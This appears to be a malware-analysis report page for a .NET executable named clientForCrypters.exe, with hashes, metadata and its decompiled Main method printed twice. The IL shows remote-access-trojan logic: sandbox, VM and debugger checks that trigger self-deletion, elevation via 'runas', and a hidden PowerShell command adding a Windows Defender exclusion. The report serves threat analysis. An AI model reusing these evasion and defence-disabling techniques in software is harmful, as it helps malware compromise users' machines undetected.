Suspicious
Suspect

057e51cdbb1209601ad334ade2297792

Share on LinkedIn
Print
PE Executable
MD5: 057e51cdbb1209601ad334ade2297792
Size: 2.51 MB
application/x-dosexec

This sample is a 2.4 MB PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 127 embedded or derived files. It matches 69 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
f90fa08e9fdabf2c8c38a3f1651db766f97402f18fac8947ffcc45de93454c08
MD5
057e51cdbb1209601ad334ade2297792
Verdict
Inconclusive
File type
PE Executable · 2.4 MB

Cite this report: https://app.malva.re/sha256/f90fa08e9fdabf2c8c38a3f1651db766f97402f18fac8947ffcc45de93454c08

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Size
2.51 MB · 2,510,848 B
First seen
2026-10-19 16:30 · 6 days ago
Last seen
2026-10-19 16:30 · 6 days ago
Last analysis
2026-10-19 16:31 · 6 days ago
Hashes
MD5 057e51cdbb1209601ad334ade2297792 Sha1 326f1c9e544715f80bfa7b04673b6a47c042d3ed Sha256 f90fa08e9fdabf2c8c38a3f1651db766f97402f18fac8947ffcc45de93454c08 Sha384 59fb0be1c5832986b141d682aba690ecaeb3a12a451b34004611311532c9b08b6bd326a3957c007dcdf3390929b91c62 Sha512 1a5dfdc33cb34c9b8eebab1cf3c895f1f6d9d85220a9375b9259da86e756ab6a8f3a7ec1f32cab5cb442c49f7db4b3cb1f3c4c8d8e5c0df7671bef2a1dd1b715 SSDeep 49152:kgVUlsHjkmiGWU5+5WDtsclR0BxMzaRw4iAn4g:kgVUuHjkDGjYQDGuRxzew TLSH 3BC5011C33F9C618F2AF4BB4A57189664731FC179C52DBAC58E139AE14B6F44BA10B23
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low

127 files
EXE057e51cdbb1209601ad334ade2297792
Structure
STICH beta

No STICH Path has been generated for this analysis yet.

6 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 4img 2

Name Value
Module Name
clientForCrypters.exe
Full Name
clientForCrypters.exe
EntryPoint
System.Void Program::Main(System.String[])
Scope Name
clientForCrypters.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
clientForCrypters
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
3956
Main Method
System.Void Program::Main(System.String[])
Main IL Instruction Count
213
Main IL
newobj System.Void Program/<>c__DisplayClass1_0::.ctor()
stloc.0 <null>
ldloc.0 <null>
ldarg.0 <null>
stfld System.String[] Program/<>c__DisplayClass1_0::args
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
blt.s IL_0043: call System.Boolean MutexControl::CreateMutex()
ldc.i4.s 30
call System.String Stuff.Helpers::Random(System.Int32)
stsfld System.String Config::Mutex
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.String Config::ht
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Convert::ToInt32(System.String)
stsfld System.Int32 Config::pt
call System.Boolean MutexControl::CreateMutex()
brtrue.s IL_0050: ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
dup <null>
brtrue.s IL_006F: call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_0(System.Object,System.Threading.ThreadExceptionEventArgs)
newobj System.Void System.Threading.ThreadExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
dup <null>
brtrue.s IL_0098: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_1(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
ldsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
dup <null>
brtrue.s IL_00BC: call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_2(System.Object,System.Threading.Tasks.UnobservedTaskExceptionEventArgs)
newobj System.Void System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
ldsfld System.Int32 Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.Boolean Config::HideFile
brfalse.s IL_00F8: ldsfld System.Boolean Config::VM
call System.Void HideClient::Execute()
leave.s IL_00F8: ldsfld System.Boolean Config::VM
stloc.1 <null>
ldstr HideFile
ldloc.1 <null>
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_00F8: ldsfld System.Boolean Config::VM
ldsfld System.Boolean Config::VM
brfalse.s IL_0132: ldsfld System.Boolean Config::HidProc
call System.Boolean Shit.DebugProtector.MainModule::IsSandboxie()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsVM()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsDebugger()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsdnSpyRun()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsEmulation()
brfalse.s IL_012D: call System.Void Shit.DebugProtector.VMCheck::Analyze()
call System.Void Shit.DebugProtector.MainModule::SelfDelete()
ldc.i4.m1 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Shit.DebugProtector.VMCheck::Analyze()
ldsfld System.Boolean Config::HidProc
brfalse.s IL_013F: ldsfld System.Boolean Config::UAC
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean Config::UAC
brfalse.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
call System.Boolean Check::Admin()
brtrue.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
pop <null>
leave.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
ldsfld System.Boolean Config::OpenWebsite
brfalse.s IL_019C: ldsfld System.Boolean Config::Box
ldsfld System.String Config::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
leave.s IL_019C: ldsfld System.Boolean Config::Box
pop <null>
leave.s IL_019C: ldsfld System.Boolean Config::Box
ldsfld System.Boolean Config::Box
brfalse.s IL_01C8: ldsfld System.Boolean Config::ProcessCritical
ldsfld System.Action Program/<>c::<>9__1_3
dup <null>
brtrue.s IL_01C2: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean Config::ProcessCritical
brfalse.s IL_01D4: ldsfld System.Boolean Config::Defender
call System.Void processcritical::critical()
ldsfld System.Boolean Config::Defender
brfalse.s IL_024F: nop
call System.Boolean Check::Admin()
brfalse.s IL_024F: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
dup <null>
brtrue.s IL_01F3: call System.String System.Diagnostics.ProcessModule::get_FileName()
pop <null>
ldnull <null>
br.s IL_01F8: stloc.2
call System.String System.Diagnostics.ProcessModule::get_FileName()
stloc.2 <null>
ldloc.2 <null>
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_024A: leave.s IL_024F
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess '
ldloc.2 <null>
ldstr '"
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_024A: leave.s IL_024F
ldloc.3 <null>
ldc.i4 5000
call System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32)
pop <null>
leave.s IL_024F: nop
pop <null>
leave.s IL_024F: nop
nop <null>
newobj System.Void Client.Raton.SillyClient::.ctor()
stsfld Client.Raton.SillyClient Program::client
leave.s IL_026C: ldsfld System.Action Program/<>c::<>9__1_4
stloc.s V_4
ldstr Client Init
ldloc.s V_4
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_02AD: ret
ldsfld System.Action Program/<>c::<>9__1_4
dup <null>
brtrue.s IL_028B: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_4()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_4
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldloc.0 <null>
ldftn System.Threading.Tasks.Task Program/<>c__DisplayClass1_0::<Main>b__5()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ret <null>
Module Name
clientForCrypters.exe
Full Name
clientForCrypters.exe
EntryPoint
System.Void Program::Main(System.String[])
Scope Name
clientForCrypters.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
clientForCrypters
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
3956
Main Method
System.Void Program::Main(System.String[])
Main IL Instruction Count
213
Main IL
newobj System.Void Program/<>c__DisplayClass1_0::.ctor()
stloc.0 <null>
ldloc.0 <null>
ldarg.0 <null>
stfld System.String[] Program/<>c__DisplayClass1_0::args
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
blt.s IL_0043: call System.Boolean MutexControl::CreateMutex()
ldc.i4.s 30
call System.String Stuff.Helpers::Random(System.Int32)
stsfld System.String Config::Mutex
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.String Config::ht
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Convert::ToInt32(System.String)
stsfld System.Int32 Config::pt
call System.Boolean MutexControl::CreateMutex()
brtrue.s IL_0050: ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
dup <null>
brtrue.s IL_006F: call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_0(System.Object,System.Threading.ThreadExceptionEventArgs)
newobj System.Void System.Threading.ThreadExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
dup <null>
brtrue.s IL_0098: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_1(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
ldsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
dup <null>
brtrue.s IL_00BC: call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_2(System.Object,System.Threading.Tasks.UnobservedTaskExceptionEventArgs)
newobj System.Void System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
ldsfld System.Int32 Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.Boolean Config::HideFile
brfalse.s IL_00F8: ldsfld System.Boolean Config::VM
call System.Void HideClient::Execute()
leave.s IL_00F8: ldsfld System.Boolean Config::VM
stloc.1 <null>
ldstr HideFile
ldloc.1 <null>
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_00F8: ldsfld System.Boolean Config::VM
ldsfld System.Boolean Config::VM
brfalse.s IL_0132: ldsfld System.Boolean Config::HidProc
call System.Boolean Shit.DebugProtector.MainModule::IsSandboxie()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsVM()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsDebugger()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsdnSpyRun()
brtrue.s IL_0122: call System.Void Shit.DebugProtector.MainModule::SelfDelete()
call System.Boolean Shit.DebugProtector.MainModule::IsEmulation()
brfalse.s IL_012D: call System.Void Shit.DebugProtector.VMCheck::Analyze()
call System.Void Shit.DebugProtector.MainModule::SelfDelete()
ldc.i4.m1 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Shit.DebugProtector.VMCheck::Analyze()
ldsfld System.Boolean Config::HidProc
brfalse.s IL_013F: ldsfld System.Boolean Config::UAC
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean Config::UAC
brfalse.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
call System.Boolean Check::Admin()
brtrue.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
pop <null>
leave.s IL_0185: ldsfld System.Boolean Config::OpenWebsite
ldsfld System.Boolean Config::OpenWebsite
brfalse.s IL_019C: ldsfld System.Boolean Config::Box
ldsfld System.String Config::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
leave.s IL_019C: ldsfld System.Boolean Config::Box
pop <null>
leave.s IL_019C: ldsfld System.Boolean Config::Box
ldsfld System.Boolean Config::Box
brfalse.s IL_01C8: ldsfld System.Boolean Config::ProcessCritical
ldsfld System.Action Program/<>c::<>9__1_3
dup <null>
brtrue.s IL_01C2: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean Config::ProcessCritical
brfalse.s IL_01D4: ldsfld System.Boolean Config::Defender
call System.Void processcritical::critical()
ldsfld System.Boolean Config::Defender
brfalse.s IL_024F: nop
call System.Boolean Check::Admin()
brfalse.s IL_024F: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
dup <null>
brtrue.s IL_01F3: call System.String System.Diagnostics.ProcessModule::get_FileName()
pop <null>
ldnull <null>
br.s IL_01F8: stloc.2
call System.String System.Diagnostics.ProcessModule::get_FileName()
stloc.2 <null>
ldloc.2 <null>
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_024A: leave.s IL_024F
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess '
ldloc.2 <null>
ldstr '"
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_024A: leave.s IL_024F
ldloc.3 <null>
ldc.i4 5000
call System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32)
pop <null>
leave.s IL_024F: nop
pop <null>
leave.s IL_024F: nop
nop <null>
newobj System.Void Client.Raton.SillyClient::.ctor()
stsfld Client.Raton.SillyClient Program::client
leave.s IL_026C: ldsfld System.Action Program/<>c::<>9__1_4
stloc.s V_4
ldstr Client Init
ldloc.s V_4
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_02AD: ret
ldsfld System.Action Program/<>c::<>9__1_4
dup <null>
brtrue.s IL_028B: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_4()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_4
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldloc.0 <null>
ldftn System.Threading.Tasks.Task Program/<>c__DisplayClass1_0::<Main>b__5()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ret <null>

An error has occurred. This application may no longer respond until reloaded. Reload 🗙